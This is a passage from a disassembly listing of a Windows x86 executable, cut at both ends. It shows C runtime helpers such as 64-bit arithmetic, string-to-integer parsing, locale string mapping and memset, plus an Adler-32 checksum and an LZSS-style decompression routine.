jmp short loc_4FC9DA
; ---------------------------------------------------------------------------
loc_4FC999: ; CODE XREF: _5:004FC97Fj
mov ebx, eax
mov ecx, [esp+18h]
mov edx, [esp+14h]
mov eax, [esp+10h]
loc_4FC9A7: ; CODE XREF: _5:004FC9B1j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_4FC9A7
div ecx
mov esi, eax
mul dword ptr [esp+1Ch]
mov ecx, eax
mov eax, [esp+18h]
mul esi
add edx, ecx
jb short loc_4FC9D5
cmp edx, [esp+14h]
ja short loc_4FC9D5
jb short loc_4FC9D6
cmp eax, [esp+10h]
jbe short loc_4FC9D6
loc_4FC9D5: ; CODE XREF: _5:004FC9C5j _5:004FC9CBj
dec esi
loc_4FC9D6: ; CODE XREF: _5:004FC9CDj _5:004FC9D3j
xor edx, edx
mov eax, esi
loc_4FC9DA: ; CODE XREF: _5:004FC997j
dec edi
jnz short loc_4FC9E4
neg edx
neg eax
sbb edx, 0
loc_4FC9E4: ; CODE XREF: _5:004FC9DBj
pop ebx
pop esi
pop edi
retn 10h
; =============== S U B R O U T I N E =======================================
sub_4FC9EA proc near ; CODE XREF: sub_4FCA75+4p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_4FC9F2: ; CODE XREF: sub_4FC9EA+34j
cmp ds:dword_51165C, 1
jle short loc_4FCA0A
movzx eax, byte ptr [edi]
push 8
push eax
call sub_4FCCCF
pop ecx
pop ecx
jmp short loc_4FCA19
; ---------------------------------------------------------------------------
loc_4FCA0A: ; CODE XREF: sub_4FC9EA+Fj
movzx eax, byte ptr [edi]
mov ecx, ds:off_511450
mov al, [ecx+eax*2]
and eax, 8
loc_4FCA19: ; CODE XREF: sub_4FC9EA+1Ej
test eax, eax
jz short loc_4FCA20
inc edi
jmp short loc_4FC9F2
; ---------------------------------------------------------------------------
loc_4FCA20: ; CODE XREF: sub_4FC9EA+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_4FCA30
cmp esi, 2Bh
jnz short loc_4FCA34
loc_4FCA30: ; CODE XREF: sub_4FC9EA+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_4FCA34: ; CODE XREF: sub_4FC9EA+44j
xor ebx, ebx
loc_4FCA36: ; CODE XREF: sub_4FC9EA+7Bj
cmp ds:dword_51165C, 1
jle short loc_4FCA4B
push 4
push esi
call sub_4FCCCF
pop ecx
pop ecx
jmp short loc_4FCA56
; ---------------------------------------------------------------------------
loc_4FCA4B: ; CODE XREF: sub_4FC9EA+53j
mov eax, ds:off_511450
mov al, [eax+esi*2]
and eax, 4
loc_4FCA56: ; CODE XREF: sub_4FC9EA+5Fj
test eax, eax
jz short loc_4FCA67
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_4FCA36
; ---------------------------------------------------------------------------
loc_4FCA67: ; CODE XREF: sub_4FC9EA+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_4FCA70
neg eax
loc_4FCA70: ; CODE XREF: sub_4FC9EA+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4FC9EA endp
; =============== S U B R O U T I N E =======================================
sub_4FCA75 proc near ; CODE XREF: sub_50AD0C+5Fp
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4FC9EA
pop ecx
retn
sub_4FCA75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FCA80 proc near ; CODE XREF: sub_4FC86E+A3p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EB08
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp ds:dword_5160E8, edi
jnz short loc_4FCAF6
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_50EB00
mov esi, 100h
push esi
push edi
call ds:dword_50E034 ; LCMapStringW
test eax, eax
jz short loc_4FCAD4
mov ds:dword_5160E8, ebx
jmp short loc_4FCAF6
; ---------------------------------------------------------------------------
loc_4FCAD4: ; CODE XREF: sub_4FCA80+4Aj
push edi
push edi
push ebx
push offset dword_50EAFC
push esi
push edi
call ds:dword_50E038 ; LCMapStringA
test eax, eax
jz loc_4FCC0E
mov ds:dword_5160E8, 2
loc_4FCAF6: ; CODE XREF: sub_4FCA80+2Ej
; sub_4FCA80+52j
cmp [ebp+arg_C], edi
jle short loc_4FCB0B
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4FCCA4
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_4FCB0B: ; CODE XREF: sub_4FCA80+79j
mov eax, ds:dword_5160E8
cmp eax, 2
jnz short loc_4FCB32
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_50E038 ; LCMapStringA
jmp loc_4FCC10
; ---------------------------------------------------------------------------
loc_4FCB32: ; CODE XREF: sub_4FCA80+93j
cmp eax, 1
jnz loc_4FCC0E
cmp [ebp+arg_18], edi
jnz short loc_4FCB48
mov eax, ds:dword_516104
mov [ebp+arg_18], eax
loc_4FCB48: ; CODE XREF: sub_4FCA80+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call ds:dword_50E044 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_4FCC0E
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_4FCD90
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4FCBA3
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_4FCBA3: ; CODE XREF: sub_4FCA80+10Ej
cmp [ebp+var_24], edi
jz short loc_4FCC0E
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call ds:dword_50E044 ; MultiByteToWideChar
test eax, eax
jz short loc_4FCC0E
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_50E034 ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_4FCC0E
test byte ptr [ebp+arg_4+1], 4
jz short loc_4FCC22
cmp [ebp+arg_14], edi
jz loc_4FCC9D
cmp esi, [ebp+arg_14]
jg short loc_4FCC0E
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_50E034 ; LCMapStringW
test eax, eax
jnz loc_4FCC9D
loc_4FCC0E: ; CODE XREF: sub_4FCA80+66j
; sub_4FCA80+B5j ...
xor eax, eax
loc_4FCC10: ; CODE XREF: sub_4FCA80+ADj
; sub_4FCA80+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4FCC22: ; CODE XREF: sub_4FCA80+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_4FCD90
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4FCC56
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_4FCC56: ; CODE XREF: sub_4FCA80+1C2j
cmp ebx, edi
jz short loc_4FCC0E
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_50E034 ; LCMapStringW
test eax, eax
jz short loc_4FCC0E
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_4FCC7D
push edi
push edi
jmp short loc_4FCC83
; ---------------------------------------------------------------------------
loc_4FCC7D: ; CODE XREF: sub_4FCA80+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_4FCC83: ; CODE XREF: sub_4FCA80+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call ds:dword_50E040 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_4FCC0E
loc_4FCC9D: ; CODE XREF: sub_4FCA80+165j
; sub_4FCA80+188j
mov eax, esi
jmp loc_4FCC10
sub_4FCA80 endp
; =============== S U B R O U T I N E =======================================
sub_4FCCA4 proc near ; CODE XREF: sub_4FCA80+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_4FCCC1
loc_4FCCB4: ; CODE XREF: sub_4FCCA4+1Bj
cmp byte ptr [eax], 0
jz short loc_4FCCC1
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_4FCCB4
loc_4FCCC1: ; CODE XREF: sub_4FCCA4+Ej
; sub_4FCCA4+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4FCCCC
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4FCCCC: ; CODE XREF: sub_4FCCA4+21j
mov eax, edx
retn
sub_4FCCA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FCCCF proc near ; CODE XREF: sub_4FC86E+46p
; sub_4FC9EA+17p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_4FCCED
mov ecx, ds:off_511450
movzx eax, word ptr [ecx+eax*2]
jmp short loc_4FCD3F
; ---------------------------------------------------------------------------
loc_4FCCED: ; CODE XREF: sub_4FCCCF+10j
mov ecx, eax
push esi
mov esi, ds:off_511450
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_4FCD12
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_4FCD1B
; ---------------------------------------------------------------------------
loc_4FCD12: ; CODE XREF: sub_4FCCCF+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_4FCD1B: ; CODE XREF: sub_4FCCCF+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_4FCDBF
add esp, 1Ch
test eax, eax
jnz short loc_4FCD3B
leave
retn
; ---------------------------------------------------------------------------
loc_4FCD3B: ; CODE XREF: sub_4FCCCF+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_4FCD3F: ; CODE XREF: sub_4FCCCF+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_4FCCCF endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+8]
mov ecx, [esp+10h]
or ecx, eax
mov ecx, [esp+0Ch]
jnz short loc_4FCD69
mov eax, [esp+4]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_4FCD69: ; CODE XREF: _5:004FCD5Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+8]
mul dword ptr [esp+14h]
add ebx, eax
mov eax, [esp+8]
mul ecx
add edx, ebx
pop ebx
retn 10h
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4FCD90 proc near ; CODE XREF: sub_4FCA80+FDp
; sub_4FCA80+1B1p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_4FCDB0
loc_4FCD9C: ; CODE XREF: sub_4FCD90+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_4FCD9C
loc_4FCDB0: ; CODE XREF: sub_4FCD90+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_4FCD90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FCDBF proc near ; CODE XREF: sub_4FCCCF+5Ep
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EB20
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, ds:dword_51610C
xor ebx, ebx
cmp eax, ebx
jnz short loc_4FCE2E
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_50EB00
push esi
call ds:dword_50E048 ; GetStringTypeW
test eax, eax
jz short loc_4FCE0C
mov eax, esi
jmp short loc_4FCE29
; ---------------------------------------------------------------------------
loc_4FCE0C: ; CODE XREF: sub_4FCDBF+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_50EAFC
push esi
push ebx
call ds:dword_50E030 ; GetStringTypeA
test eax, eax
jz loc_4FCEF4
push 2
pop eax
loc_4FCE29: ; CODE XREF: sub_4FCDBF+4Bj
mov ds:dword_51610C, eax
loc_4FCE2E: ; CODE XREF: sub_4FCDBF+2Fj
cmp eax, 2
jnz short loc_4FCE57
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_4FCE3F
mov eax, ds:dword_5160F4
loc_4FCE3F: ; CODE XREF: sub_4FCDBF+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call ds:dword_50E030 ; GetStringTypeA
jmp loc_4FCEF6
; ---------------------------------------------------------------------------
loc_4FCE57: ; CODE XREF: sub_4FCDBF+72j
cmp eax, 1
jnz loc_4FCEF4
cmp [ebp+arg_10], ebx
jnz short loc_4FCE6D
mov eax, ds:dword_516104
mov [ebp+arg_10], eax
loc_4FCE6D: ; CODE XREF: sub_4FCDBF+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call ds:dword_50E044 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_4FCEF4
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_4FCD90
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_4FCF10
add esp, 0Ch
jmp short loc_4FCEC3
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_4FCEC3: ; CODE XREF: sub_4FCDBF+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_4FCEF4
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call ds:dword_50E044 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_4FCEF4
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call ds:dword_50E048 ; GetStringTypeW
jmp short loc_4FCEF6
; ---------------------------------------------------------------------------
loc_4FCEF4: ; CODE XREF: sub_4FCDBF+61j
; sub_4FCDBF+9Bj ...
xor eax, eax
loc_4FCEF6: ; CODE XREF: sub_4FCDBF+93j
; sub_4FCDBF+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4FCDBF endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4FCF10 proc near ; CODE XREF: sub_4FCDBF+EFp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_4FCF63
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_4FCF57
neg ecx
and ecx, 3
jz short loc_4FCF39
sub edx, ecx
loc_4FCF33: ; CODE XREF: sub_4FCF10+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_4FCF33
loc_4FCF39: ; CODE XREF: sub_4FCF10+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_4FCF57
rep stosd
test edx, edx
jz short loc_4FCF5D
loc_4FCF57: ; CODE XREF: sub_4FCF10+18j
; sub_4FCF10+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_4FCF57
loc_4FCF5D: ; CODE XREF: sub_4FCF10+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4FCF63: ; CODE XREF: sub_4FCF10+Aj
mov eax, [esp+arg_0]
retn
sub_4FCF10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4FCF68 proc near ; CODE XREF: sub_4FC454+13p
jmp ds:dword_50E03C
sub_4FCF68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FCF6E proc near ; CODE XREF: sub_4FD2E0+183p
; sub_4FD2E0+361p
; DATA XREF: ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, edi
and esi, 0FFFFh
shr edi, 10h
test ecx, ecx
jnz short loc_4FCF90
push 1
pop eax
jmp loc_4FD083
; ---------------------------------------------------------------------------
loc_4FCF90: ; CODE XREF: sub_4FCF6E+18j
cmp [ebp+arg_8], 0
jbe loc_4FD07C
push ebx
loc_4FCF9B: ; CODE XREF: sub_4FCF6E+107j
mov edx, 15B0h
cmp [ebp+arg_8], edx
jnb short loc_4FCFA8
mov edx, [ebp+arg_8]
loc_4FCFA8: ; CODE XREF: sub_4FCF6E+35j
sub [ebp+arg_8], edx
cmp edx, 10h
jl loc_4FD04B
mov eax, edx
shr eax, 4
mov ebx, eax
neg ebx
shl ebx, 4
add edx, ebx
loc_4FCFC2: ; CODE XREF: sub_4FCF6E+D7j
movzx ebx, byte ptr [ecx]
add esi, ebx
movzx ebx, byte ptr [ecx+1]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+2]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+3]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+4]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+5]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+6]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+7]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+8]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+9]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+0Ah]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+0Bh]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+0Ch]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+0Dh]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+0Eh]
add edi, esi
add esi, ebx
movzx ebx, byte ptr [ecx+0Fh]
add edi, esi
add esi, ebx
add edi, esi
add ecx, 10h
dec eax
jnz loc_4FCFC2
loc_4FD04B: ; CODE XREF: sub_4FCF6E+40j
test edx, edx
jz short loc_4FD05A
loc_4FD04F: ; CODE XREF: sub_4FCF6E+EAj
movzx eax, byte ptr [ecx]
add esi, eax
inc ecx
add edi, esi
dec edx
jnz short loc_4FD04F
loc_4FD05A: ; CODE XREF: sub_4FCF6E+DFj
mov ebx, 0FFF1h
mov eax, esi
xor edx, edx
mov esi, ebx
div esi
mov eax, edi
mov esi, edx
xor edx, edx
div ebx
cmp [ebp+arg_8], 0
mov edi, edx
ja loc_4FCF9B
pop ebx
loc_4FD07C: ; CODE XREF: sub_4FCF6E+26j
mov eax, edi
shl eax, 10h
or eax, esi
loc_4FD083: ; CODE XREF: sub_4FCF6E+1Dj
pop edi
pop esi
pop ebp
retn
sub_4FCF6E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FD090 proc near ; CODE XREF: sub_4FD2E0+15Ep
; sub_4FD2E0+33Cp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_1C], ecx
mov eax, [ebp+var_1C]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+var_1C]
mov eax, [ebp+arg_8]
mov [edx+4], eax
mov ecx, [ebp+var_1C]
mov edx, [ebp+arg_4]
mov [ecx+8], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+arg_C]
mov [eax+0Ch], ecx
mov edx, [ebp+var_1C]
mov dword ptr [edx+14h], 0
mov eax, [ebp+var_1C]
mov dword ptr [eax+10h], 0
mov [ebp+var_10], 0
jmp short loc_4FD0E2
; ---------------------------------------------------------------------------
loc_4FD0D9: ; CODE XREF: sub_4FD090+65j
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_4FD0E2: ; CODE XREF: sub_4FD090+47j
cmp [ebp+var_10], 0FEEh
jge short loc_4FD0F7
mov edx, [ebp+var_1C]
add edx, [ebp+var_10]
mov byte ptr [edx+18h], 20h
jmp short loc_4FD0D9
; ---------------------------------------------------------------------------
loc_4FD0F7: ; CODE XREF: sub_4FD090+59j
mov [ebp+var_8], 0FEEh
mov [ebp+var_4], 0
loc_4FD105: ; CODE XREF: sub_4FD090:loc_4FD236j
mov eax, [ebp+var_4]
shr eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
and ecx, 100h
test ecx, ecx
jnz short loc_4FD139
mov ecx, [ebp+var_1C]
call sub_4FD250
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_4FD130
jmp loc_4FD23B
; ---------------------------------------------------------------------------
loc_4FD130: ; CODE XREF: sub_4FD090+99j
mov edx, [ebp+var_C]
or dh, 0FFh
mov [ebp+var_4], edx
loc_4FD139: ; CODE XREF: sub_4FD090+88j
mov eax, [ebp+var_4]
and eax, 1
test eax, eax
jz short loc_4FD18A
mov ecx, [ebp+var_1C]
call sub_4FD250
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_4FD159
jmp loc_4FD23B
; ---------------------------------------------------------------------------
loc_4FD159: ; CODE XREF: sub_4FD090+C2j
mov edx, [ebp+var_C]
mov ecx, [ebp+var_1C]
call sub_4FD290
mov ecx, [ebp+var_1C]
add ecx, [ebp+var_8]
mov dl, byte ptr [ebp+var_C]
mov [ecx+18h], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
and ecx, 0FFFh
mov [ebp+var_8], ecx
jmp loc_4FD236
; ---------------------------------------------------------------------------
loc_4FD18A: ; CODE XREF: sub_4FD090+B1j
mov ecx, [ebp+var_1C]
call sub_4FD250
mov [ebp+var_10], eax
cmp [ebp+var_10], 0FFFFFFFFh
jnz short loc_4FD1A0
jmp loc_4FD23B
; ---------------------------------------------------------------------------
loc_4FD1A0: ; CODE XREF: sub_4FD090+109j
mov ecx, [ebp+var_1C]
call sub_4FD250
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_4FD1B6
jmp loc_4FD23B
; ---------------------------------------------------------------------------
loc_4FD1B6: ; CODE XREF: sub_4FD090+11Fj
mov edx, [ebp+var_14]
and edx, 0F0h
shl edx, 4
mov eax, [ebp+var_10]
or eax, edx
mov [ebp+var_10], eax
mov ecx, [ebp+var_14]
and ecx, 0Fh
add ecx, 2
mov [ebp+var_14], ecx
mov [ebp+var_18], 0
jmp short loc_4FD1E8
; ---------------------------------------------------------------------------
loc_4FD1DF: ; CODE XREF: sub_4FD090+1A4j
mov edx, [ebp+var_18]
add edx, 1
mov [ebp+var_18], edx
loc_4FD1E8: ; CODE XREF: sub_4FD090+14Dj
mov eax, [ebp+var_18]
cmp eax, [ebp+var_14]
jg short loc_4FD236
mov ecx, [ebp+var_10]
add ecx, [ebp+var_18]
and ecx, 0FFFh
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+ecx+18h]
mov [ebp+var_C], eax
mov edx, [ebp+var_C]
mov ecx, [ebp+var_1C]
call sub_4FD290
mov ecx, [ebp+var_1C]
add ecx, [ebp+var_8]
mov dl, byte ptr [ebp+var_C]
mov [ecx+18h], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
and ecx, 0FFFh
mov [ebp+var_8], ecx
jmp short loc_4FD1DF
; ---------------------------------------------------------------------------
loc_4FD236: ; CODE XREF: sub_4FD090+F5j
; sub_4FD090+15Ej
jmp loc_4FD105
; ---------------------------------------------------------------------------
loc_4FD23B: ; CODE XREF: sub_4FD090+9Bj
; sub_4FD090+C4j ...
mov edx, [ebp+var_1C]
mov eax, [edx+10h]
mov esp, ebp
pop ebp
retn 10h
sub_4FD090 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FD250 proc near ; CODE XREF: sub_4FD090+8Dp
; sub_4FD090+B6p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_4]
mov edx, [eax+14h]
cmp edx, [ecx+8]
jb short loc_4FD26A
or eax, 0FFFFFFFFh
jmp short loc_4FD28B
; ---------------------------------------------------------------------------
loc_4FD26A: ; CODE XREF: sub_4FD250+13j
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [edx+14h]
xor edx, edx
mov dl, [ecx+eax]
mov eax, edx
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
add edx, 1
mov ecx, [ebp+var_4]
mov [ecx+14h], edx
loc_4FD28B: ; CODE XREF: sub_4FD250+18j
mov esp, ebp
pop ebp
retn
sub_4FD250 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FD290 proc near ; CODE XREF: sub_4FD090+CFp
; sub_4FD090+17Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], edx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_4]
mov edx, [eax+10h]
cmp edx, [ecx+0Ch]
jb short loc_4FD2AC
jmp short loc_4FD2CD
; ---------------------------------------------------------------------------
loc_4FD2AC: ; CODE XREF: sub_4FD290+18j
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov edx, [ebp+var_4]
mov eax, [edx+10h]
mov dl, byte ptr [ebp+var_8]
mov [ecx+eax], dl
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx+10h], ecx
loc_4FD2CD: ; CODE XREF: sub_4FD290+1Aj
mov esp, ebp
pop ebp
retn
sub_4FD290 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FD2E0 proc near ; CODE XREF: _5:loc_4FD700p
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
